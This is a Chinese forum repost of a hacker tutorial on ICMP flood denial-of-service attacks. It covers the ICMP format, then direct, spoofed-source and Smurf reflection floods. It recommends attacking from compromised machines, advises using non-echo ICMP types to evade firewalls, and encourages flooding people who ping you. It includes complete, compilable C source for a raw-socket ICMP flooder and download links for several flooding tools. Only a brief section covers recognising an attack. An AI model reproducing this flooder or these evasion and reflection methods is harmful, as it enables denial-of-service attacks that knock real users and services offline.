眼镜蛇 发表于 2011-10-19 15:21:57

ICMP Flood(ICMP洪水攻击)

一、什么是ICMP协议?
ICMP全称Internet Control Message Protocol(网际控制信息协议)。提起ICMP,一些人可能会感到陌生,实际上,ICMP与我们息息相关。在网络体系结构的各层次中,都需要控制, 而不同的层次有不同的分工和控制内容,IP层的控制功能是最复杂的,主要负责差错控制、拥塞控制等,任何控制都是建立在信息的基础之上的,在基于IP数据 报的网络体系中,网关必须自己处理数据报的传输工作,而IP协议自身没有内在机制来获取差错信息并处理。为了处理这些错误,TCP/IP设计了ICMP协 议,当某个网关发现传输错误时,立即向信源主机发送ICMP报文,报告出错信息,让信源主机采取相应处理措施,它是一种差错和控制报文协议,不仅用于传输 差错报文,还传输控制报文。二、ICMP报文格式
ICMP报文包含在IP数据报中,属于IP的一个用户,IP头部就在ICMP报文的前面,所以一个ICMP报文包括IP头部、ICMP头部和ICMP报文 (见图表,ICMP报文的结构和几种常见的ICMP报文格式),IP头部的Protocol值为1就说明这是一个ICMP报文,ICMP头部中的类型 (Type)域用于说明ICMP报文的作用及格式,此外还有一个代码(Code)域用于详细说明某种ICMP报文的类型,所有数据都在ICMP头部后面。 RFC定义了13种ICMP报文格式,具体如下:类型代码   类型描述
0    响应应答(ECHO-REPLY)
3    不可到达
4    源抑制
5    重定向
8    响应请求(ECHO-REQUEST)
11    超时
12    参数失灵
13    时间戳请求
14    时间戳应答
15    信息请求(*已作废)
16    信息应答(*已作废)
17    地址掩码请求
18    地址掩码应答其中代码为15、16的信息报文已经作废。下面是几种常见的ICMP报文:
1.响应请求
我们日常使用最多的ping,就是响应请求(Type=8)和应答(Type=0),一台主机向一个节点发送一个Type=8的ICMP报文,如果途中没 有异常(例如被路由器丢弃、目标不回应ICMP或传输失败),则目标返回Type=0的ICMP报文,说明这台主机存在,更详细的tracert通过计算 ICMP报文通过的节点来确定主机与目标之间的网络距离。2.目标不可到达、源抑制和超时报文
这三种报文的格式是一样的,目标不可到达报文(Type=3)在路由器或主机不能传递数据报时使用,例如我们要连接对方一个不存在的系统端口(端口号小于 1024)时,将返回Type=3、Code=3的ICMP报文,它要告诉我们:“嘿,别连接了,我不在家的!”,常见的不可到达类型还有网络不可到达 (Code=0)、主机不可到达(Code=1)、协议不可到达(Code=2)等。源抑制则充当一个控制流量的角色,它通知主机减少数据报流量,由于 ICMP没有恢复传输的报文,所以只要停止该报文,主机就会逐渐恢复传输速率。最后,无连接方式网络的问题就是数据报会丢失,或者长时间在网络游荡而找不 到目标,或者拥塞导致主机在规定时间内无法重组数据报分段,这时就要触发ICMP超时报文的产生。超时报文的代码域有两种取值:Code=0表示传输超 时,Code=1表示重组分段超时。3.时间戳
时间戳请求报文(Type=13)和时间戳应答报文(Type=14)用于测试两台主机之间数据报来回一次的传输时间。传输时,主机填充原始时间戳,接收方收到请求后填充接收时间戳后以Type=14的报文格式返回,发送方计算这个时间差。一些系统不响应这种报文。三、回到正题:这样的攻击有效吗?
在前面讲过了,ping使用的是ECHO应答,不知道大家注意过没有,ping的返回很慢,用NetXRAY抓包仅为1--5包/秒,这是为什么呢?事实 上,ICMP本身并不慢(由于ICMP是SOCK_RAW产生的原始报文,速度比SOCK_STREAM的SYN和SOCK_DGRAM的UDP要快几乎 10倍!),这样的速度是ping程序故意延迟的(为什么?M$可不想每个人都能用ping来干坏事),同样,我测试过一些号称“ping洪水”的程序, 发现它们的效率和ping.exe没什么两样,经过Dependency Walker查看程序调用的函数发现,他们用的是icmp.dll提供的IcmpSendEcho这个API,这个函数是计算ECHO时间的,速度当然 慢!而那两个“高手”号召的ping攻击实际上就是为了实现ICMP洪水攻击,但是他们用的方法……想想洪水的速度和山涧小溪的速度相差多少吧!就用 ping.exe和IcmpSendEcho这种小溪慢慢流淌的速度能做什么?还不是让人家看笑话!这种攻击根本就是浪费自己的时间!(如今还经常有人问 ping -l 65500 -t的攻击威力如何……哎,悲哀啊悲哀……)四、什么是ICMP洪水?
1.ICMP洪水的成因
ping.exe和IcmpSendEcho速度慢的另一个原因是它们必须等待目标主机返回REPLY信息,这个过程需要花费大量时间,而Flood—— 洪水,顾名思义,是速度极快的,当一个程序发送数据包的速度达到了每秒1000个以上,它的性质就成了洪水产生器,洪水数据是从洪水产生器里出来的,但这 样还不够,没有足够的带宽,再猛的洪水也只能像公路塞车那样慢慢移动,成了鸡肋。要做真正的洪水,就需要有一条足够宽的高速公路才可以。极慢的发送速 度+56Kbps小猫等于什么?等于一个未关紧的水龙头,根本没用。
由于ping.exe无法提速,这就需要专门的工具来做洪水了。足够快的数据包速度+足够的带宽,这才是洪水。2.实现ICMP洪水的前提
最大的前提是攻击者的速度!如果你要用56K拨号去攻击一个512Kbps ADSL用户,后果和一只蚂蚁伸腿想绊倒大象的天方夜谭是一样的!其次是你的机器运行速度和数据吞吐量,由于涉及IP校验和的计算(先设置头校验和域的数 值为0,然后对整个数据报头按每16位求异或,再把结果取反,就得到了校验和),如果数据处理能力不够,在这步就慢了一个级别,效果当然大打折扣。最后就 是目标机器的带宽!如果对方比你大很多(例如你2M ADSL,别人用DDN或T1),那么任何Flood都是无病呻吟,挠痒都不够!(希望不要再问“小金,你的R-Series怎么不好用啊”、“我用小金 的AnGryPing攻击别人半天都没事!”、“独裁者的攻击怎么无效啊?”这样的问题了,天啊,我头都大了!)
还有许多人都忽略的问题:发送的速度与数据包大小成反比,而且太大的数据包会被路由器等设备过滤掉!找到一个合适的数据包大小,对提高Flood的效率有很大帮助!3.洪水——两败俱伤的攻击方式
别以为洪水无所不能,实际上,你展开洪水攻击时,攻击程序在消耗对方带宽和资源时,也在消耗你的带宽和资源。这只是个看谁撑得住的攻击而已。实际上,有经 验的攻击者都是用被控制的服务器(肉鸡)来代替自己的机器发动攻击的,不到万不得已或者你对自己的机器网速有自信,否则尽量少用自己的机器来拼搏!五、不同方式的ICMP洪水
1.直接Flood
要做这个的首要条件是你的带宽够,然后就是要一个好用的ICMP Flooder,别用ping.exe那种探路用的垃圾,例如我以前发布的AnGryPing,发包速度达到6000---9000包/秒(512 Kbps ADSL),默认是32bytes的ECHO报文洪水,用它即使不能flood别人下去,防火墙也叫得够惨的了。直接攻击会暴露自己IP(如果对方没有还 击能力那还无所谓,固定IP用户不推荐使用这种Flood),直接Flood主要是为了顾及Win9x/Me不能伪造IP的缺陷,否则一般还是别用为妙。简单示意图:
                                    ICMP
攻击者--------------------------------->受害者[截获攻击者IP=211.97.54.3]==>换IP回来反击,嘿嘿2.伪造IP的Flood
如果你是Win2000/XP并且是Administrator权限,可以试试看FakePing,它能随意伪造一个IP来Flood,让对方摸不到头脑,属于比较隐蔽阴险的Flood。简单示意图:
                           伪造IP=1.1.1.1的ICMP
攻击者--------------------------------->受害者[截获攻击者IP=1.1.1.1]==>倒死3.反射
用采取这种方式的第一个工具的名称来命名的“Smurf”洪水攻击,把隐蔽性又提高了一个档次,这种攻击模式里,最终淹没目标的洪水不是由攻击者发出的,也不是伪造IP发出的,而是正常通讯的服务器发出的!
实现的原理也不算复杂,Smurf方式把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口……
从示意图可以看出,它比上面两种方法多了一级路径——受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!简单示意图:
                           伪造受害者的ICMP                     应答
攻击者-------------------------->正常的主机--------------->受害者[截获攻击者IP=……网易?!]==>哭啊……以上是几种常见的Flood方式,在测试中,我发现一个有趣的现象:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他 ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细测试过,大家可以试试看Type=3、 4、11的特殊报文会不会有更大效果。六、ICMP Flood能防吗?
先反问你一个问题:洪水迅猛的冲来时,你能否拿着一个脸盆来抵挡?(坐上脸盆做现代鲁宾逊倒是个不错的主意,没准能漂到MM身边呢)
软件的网络防火墙能对付一些漏洞、溢出、OOB、IGMP攻击,但是对于洪水类型的攻击,它们根本无能为力,我通常对此的解释是“倾倒垃圾”:“有蟑螂或 老鼠在你家门前逗留,你可以把它们赶走,但如果有人把一车垃圾倾倒在你家门口呢?”前几天看到mikespook大哥对此有更体面的解释,转载过来——“ 香蕉皮原理:如果有人给你一个香蕉和一个香蕉皮你能区分,并把没有用的香蕉皮扔掉。(一般软件防火墙就是这么判断并丢弃数据包的。)但是如果有人在同一时 间内在你身上倒一车香蕉皮,你再能区分有用没用也没啥作用了~~因为你被香蕉皮淹没了~~~~(所以就算防火墙能区分是DoS的攻击数据包,也只能识别, 根本来不及丢弃~~死了,死了,死了~~)”
所以,洪水没法防!能做的只有提高自己的带宽和预防洪水的发生(虽然硬件防火墙和分流技术能做到,但那价格是太昂贵的,而且一般人也没必要这样做)。
如果你正在被攻击,最好的方法是抓取攻击者IP(除非对方用第一种,否则抓了没用——假的IP)后,立即下线换IP!(什么?你是固定IP?没辙了,打电话找警察叔叔吧)七、被ICMP Flood攻击的特征
如何发现ICMP Flood?
当你出现以下症状时,就要注意是否正被洪水攻击:
1.传输状态里,代表远程数据接收的计算机图标一直亮着,而你没有浏览网页或下载
2.防火墙一直提示有人试图ping你
3.网络速度奇慢无比
4.严重时系统几乎失去响应,鼠标呈跳跃状行走如果出现这些情况,先不要慌张,冷静观察防火墙报警的频率及IP来确认是否普通的Ping或是洪水,做出相应措施(其实大多数情况也只能换IP了)。
1.普通ping
这种“攻击”一般是对方扫描网络或用ping -t发起的,没多大杀伤力(这个时候,防火墙起的作用就是延迟攻击者的数据报发送间隔时间,请别关闭防火墙!否则后果是严重的!),通常表现如下:
==============================================================
61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。
=============================================================
这么慢的速度,很明显是由ping.exe或IcmpSendEcho发出的,如果对方一直不停的让你的防火墙吵闹,你可以给他个真正的ICMP Flood问候。2.直接Flood
这是比较够劲的真正意义洪水了,防火墙的报警密度会提高一个数量级:
==============================================================
61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
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            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
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            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
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            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。 61.151.252.106 尝试用Ping 来探测本机,
            该操作被拒绝。
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这时候你的防火墙实际上已经废了,换个IP吧。3.伪造IP的Flood
比较厉害的ICMP Flood,使用的是伪造的IP而且一样大密度,下面是the0crat用56K拨号对我的一次攻击测试的部分数据(看看时间,真晕了,这可是56K小猫而已啊)
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1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。 1.1.1.1 尝试用Ping 来探测本机,
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         该操作被拒绝。 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
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无言…………4、反射ICMP Flood
估计现在Smurf攻击还没有多少人会用(R-Series的RSS.EXE就是做这事的,RSA.EXE和RSC.EXE分别用作SYN反射和UDP反 射),所以这种方法还没有大规模出现,但Smurf是存在的!而且这个攻击方法比前面几种更恐怖,因为攻击你的是大网站(或一些受苦受难的服务器)!
我正在被网易、万网和新浪网站攻击中(懒得修改天网策略,直接用其他工具抓的。实际攻击中,反射的IP会多几倍!)
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RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
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可以看出,攻击者使用的是32bytes的ECHO请求,所以服务器返回52-20=32bytes的REPLY报文,在这个情况下,天网是不会报警的。还是那句话,报警也没用了。八、自己编写ICMP Flooder
以上说的都是理论,如何才能自己写一个呢?相信很多人已经跃跃欲试了,下面就用VC6.0来写一个直接的ICMP Flooder(能在Win98/Me环境使用)……先等等——最重要的是原理。1.程序原理
当然不能用IcmpSendEcho来做,我们必须自己从最原始的IP报文里做一个。构造一个SOCK_RAW报文后,填充ICMP数据和计算校验和(CheckSum),循环sendto发出去就完成了,so easy!2.ICMP报文的声明
一个ICMP报文包括IP头部、ICMP头部和ICMP报文,用IPPROTO_ICMP创建这个类型的IP包,用以下结构填充:
typedef struct _ihdr
{
   BYTE i_type; //8位类型
   BYTE i_code; //8位代码
   USHORT i_cksum; //16位校验和
   USHORT i_id; //识别号
   USHORT i_seq; //报文序列号
   ULONG timestamp; //时间戳
}ICMP_HEADER;这样我们就声明了一个ICMP报文结构,就等后面的填充了。3.校验和
计算方法:先设置头校验和域的数值为0,然后对整个数据报头按每16位求异或,再把结果取反,就得到了校验和。
函数:
USHORT checksum(USHORT *buffer, int size)
{
   unsigned long cksum=0;
   while(size >1)
    {
      cksum+=*buffer++;
      size -=sizeof(USHORT);
    }
   if(size )
    {
      cksum += *(UCHAR*)buffer;
    }
   cksum = (cksum >> 16) + (cksum & 0xffff);
   cksum += (cksum >>16);
   return (USHORT)(~cksum);
}4.必须注意的问题
由于Win98/Me系统不支持IP-Spoof,所以无法用setsockopt设置IP_HDRINCL让用户自己填充IP头部,所以Win98 /Me不能实现IP伪造!如果有人做的号称能伪造IP的工具而且又支持Win98/Me,那一定是吹出来的,因为这是系统限制,程序没法解决的。而且自己 填充IP头部后,CheckSum就不是由系统计算了,这时候你的CheckSum计算函数就变成瓶颈了,这就是伪造IP后的Flooder发送速度不够 系统计算CheckSum的Flooder快的原因了,除非优化过CheckSum函数。限于篇幅,采用IP-Spoof技术的FakePing和 Smurf就不讨论了。5.完整代码
做一个Console Application工程,输入下面的代码。如果优化得当,最终编译生成的EXE也就4096字节而已,呵呵,just do it……==================================================
/*
agp.cAnGryPing -- ICMP Flooder by HBU·小金(LK007)
Copyright(C) 2002
E-MAIL:lk007@163.com
*/#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
//头文件和库文件声明,如果不能编译,请在Link里加上ws2_32.lib#define false 0
#define true 1#define SEQ 0x28376839// 定义ICMP首部
typedef struct _ihdr
{
   BYTE i_type; //8位类型
   BYTE i_code; //8位代码
   USHORT i_cksum; //16位校验和
   USHORT i_id; //识别号
   USHORT i_seq; //报文序列号
   ULONG timestamp; //时间戳
}ICMP_HEADER;//计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
   unsigned long cksum=0;
   while(size >1)
    {
      cksum+=*buffer++;
      size -=sizeof(USHORT);
    }
   if(size )
    {
      cksum += *(UCHAR*)buffer;
    }
   cksum = (cksum >> 16) + (cksum & 0xffff);
   cksum += (cksum >>16);
   return (USHORT)(~cksum);
}int main(int argc, char **argv)
{
   int datasize,ErrorCode,flag;
   int TimeOut=2000, SendSEQ=0, PacketSize=32,type=8,code=0,counter=0; //默认数据声明
   char SendBuf={0}; //缓冲
   WSADATA wsaData;
   SOCKET SockRaw=(SOCKET)NULL;
   struct sockaddr_in DestAddr;
   ICMP_HEADER icmp_header;
   char DestIp; //目标IP   if (argc<2)
    {
      printf("AngryPing by HBU-LK007\n");
      printf("Usage:%s <PacketSize> <type> <code>\n",argv);
//允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的报文Flood
      exit(0);
    }
   strcpy(DestIp,argv);
   if (argc>2) PacketSize=atoi(argv); //取得数据大小
if (PacketSize>65500)
{
printf("Packet size must less than 65500\n"); //太大会无法生成IP数据报的
exit(0);
}   if (argc>3) type=atoi(argv); //取得类型值
   if (type>16)
{
printf("Type must less than 16\n");
exit(0);
}   if (argc>4) code=atoi(argv); //取得代码值//初始化SOCK_RAW
   if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
    {
      fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
      exit(0);
    }   if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
    {
      fprintf(stderr,"WSASocket failed: %d\n",WSAGetLastError());
      exit(0);
    }
   flag=TRUE;{//设置发送超时
   ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
   if (ErrorCode==SOCKET_ERROR)
    {
      fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
      exit(1);
   }//主要代码开始
printf("Dest:%s   packet:%d   type:%d   code:%d\n\n",argv,PacketSize,type,code);
printf("Starting...\n\n");   //视觉效果:P
   memset(&DestAddr,0,sizeof(DestAddr));
   DestAddr.sin_family=AF_INET;
   DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构
//填充ICMP首部
   icmp_header.i_type = type;
   icmp_header.i_code = code;
   icmp_header.i_cksum = 0; //校验和置0
   icmp_header.i_id = 2;
   icmp_header.timestamp = GetTickCount(); //时间戳
   icmp_header.i_seq=999;
   memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); //组合ICMP报文和头部
   memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); //用E填充ICMP数据
   icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); //计算校验和   datasize=sizeof(icmp_header)+PacketSize; //计算整个数据包大小
//开始发送
while(1){ //无限循环,按Ctrl+C跳出
/*
这里的printf实际上是为了延时,Flood程序最好别用这么华丽的界面或字符提示来美化自己,这样会迅速拖慢程序效率!当然,如果能不显示最好,但 我去掉printf后,程序死掉了(太快?)如果你觉得“Sending 1024 packets...”还是大大增加了延时,可以改成printf("."); 一个小点。反正是自己用,用得顺手就可以。
*/
printf("Sending 1024 packets...\n");
    for(counter=0;counter<1024;counter++){ //循环发送1024个数据包为一组
//发送ICMP报文
      ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
      if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
    }
}
}   {
    if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
    WSACleanup();
   }
return 0;
}
//代码结束
=========================================================九、几个ICMP Flood工具
AnGryPing(上面代码的的完成品,直接Flood) 下载地址:http://www.heibai.net/download/show.php?id=3002
R-Series(包括ACK-Flood、Smurf、Chargen) 下载地址:http://www.heibai.net/download/show.php?id=2970
pingflood(伪造IP的Flood,号称支持Win98/Me?没测试过,理论上不可信) 下载地址:http://www.hacker.com.cn/down/soft.asp?id=127
FakePing(伪造IP的Flood) 下载地址:http://www.hacker.com.cn/down/soft.asp?id=41


http://www.wenliren.com/xwb/images/bgimg/icon_logo.png 该贴已经同步到 眼镜蛇的微博

眼镜蛇 发表于 2011-10-19 15:22:28

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